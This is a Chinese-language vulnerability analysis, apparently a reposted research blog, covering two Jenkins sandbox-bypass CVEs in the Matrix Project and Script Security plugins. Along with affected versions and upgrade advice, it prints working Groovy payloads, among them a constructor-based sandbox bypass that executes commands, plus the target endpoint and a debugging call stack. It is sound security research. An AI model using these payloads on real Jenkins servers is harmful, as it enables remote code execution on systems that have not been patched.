[1] CVE-2019-1003031:[Jenkins]Matrix Project Plugin 沙箱绕过
Matrix Project插件用于构建“多配置项目”,如多环境测试、平台指定构建等。
在其配置过程中接受用户指定的Groovy Script,在Matrix Project Plugin <= 1.13中存在沙箱被绕过的漏洞。
影响版本:Matrix Project Plugin <= 1.13
利用条件:具有Job/Configure 权限的用户
修复建议:升级到1.14或以上
参考:
https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339
https://nvd.nist.gov/vuln/detail/CVE-2019-1003031
[2] CVE-2019-1003029:[Jenkins]Script Security Plugin 沙箱绕过
Script Security插件集成在Jenkins的各种功能插件(比如Matrix Project插件)中,可以用来管理普通用户执行Groovy脚本的权限。
Jenkins的Script Security插件 <= 1.53中存在沙箱被绕过的漏洞。
影响版本:Script Security Plugin <= 1.53
利用条件:具有Overall/Read 权限的用户
修复建议:升级到1.54或以上(考虑到CVE-2019-1003040,需升级到1.56或以上)
参考:
https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1336
https://nvd.nist.gov/vuln/detail/CVE-2019-1003029
前一段时间,Jenkins官方的安全通告报了好几个严重漏洞,但是可能大家在狂欢Orange大佬的那个未授权RCE
看了Matrix Project Plugin相关的介绍
得知这个插件是在创建Job的时候,选择项目类型的地方体现的:
通过查看各个项的帮助信息,找到了输入Groovy脚本的地方:
在准备利用Matrix Project Plugin漏洞的时候,发现自己输入的脚本要么是格式不对,要么是碰到了Groovy脚本安全性检查,也就是某些方法或者关键字不允许使用。
先是试了这个Payload:
(new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start())==""
然而发现不能调用ProcessBuilder
:
后来又用了:
("".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator"))==""
结果:
联想到之前Orange在博客里说的,需结合几个漏洞来利用,突然明白,由于Script Security插件就是对Jenkins的各种用到了Groovy脚本功能处进行安全检查的,所以需结合这个Script Security检查绕过漏洞CVE-2019-1003029
来实现代码执行。
后来翻了一下Orange的博客下的评论。这里评论说,其实并不一定要用Meta Programming来实现,CVE-2019-1003029
的作者webPenTest给出了绕过方法:
public class Tst {public Tst()"your cmd here".execute()}}
有时候修复漏洞的commit中的test也可以给我们一些信息,因为作者修复了一个漏洞,需要写一个test来验证这个漏洞是否真的修复了。
Script Security插件漏洞修复的commit:
https://github.com/jenkinsci/script-security-plugin/commit/f2649a7c0757aad0f6b4642c7ef0dd44c8fea434
matrix project插件漏洞修复的commit:
https://github.com/jenkinsci/matrix-project-plugin/commit/765fc39694b31f8dd6e3d27cf51d1708b5df2be7
两个地方都提到了DoNotRunConstructor
。看这个类名:DoNotRunConstructor
(不执行构造器)
猜测这里主要是验证这个构造器里的代码不会被执行。可以验证webpentest的思路其实就是在类的构造器里执行代码,而不是反射或者Runtime、new之类的方式。
我在使用的时候,发现public关键字不能使用,于是去掉了public,改成了:
class poc{poc(){"/Applications/Calculator.app/Contents/MacOS/Calculator".execute()}}
Demo
具有Job/Configure 权限的用户登录,然后新建一个Job,选择构建一个多配置项目
,点击OK,然后在接下来的
调试
环境:
根据commit的和漏洞描述,在hudson/matrix/FilterScript.java
的evaluate()
方法下断点。
POST /jenkins_2_150_3/job/cqq/configSubmit
调用栈为:
parse:117, FilterScript (hudson.matrix) parse:105, FilterScript (hudson.matrix) evalGroovyExpression:101, Combination (hudson.matrix) evalGroovyExpression:91, Combination (hudson.matrix) rebuildConfigurations:658, MatrixProject (hudson.matrix) submit:959, MatrixProject (hudson.matrix) doConfigSubmit:1350, Job (hudson.model) doConfigSubmit:772, AbstractProject (hudson.model)
其中combinationFilter
参数的值为我们指定的payload。
这里就到了groovy.lang.GroovyShell#parse(String)
了。注意这里只是解析传入的字符串脚本,然后返回相应的groovy.lang.Script
对象。
Parses the given script and returns it ready to be run
参考:Groovy官方文档)
参考
https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
https://www.lucifaer.com/2019/03/04/Jenkins%20RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2018-1000861%E5%88%86%E6%9E%90%EF%BC%89/
原文由先知社区https://xz.aliyun.com/t/5270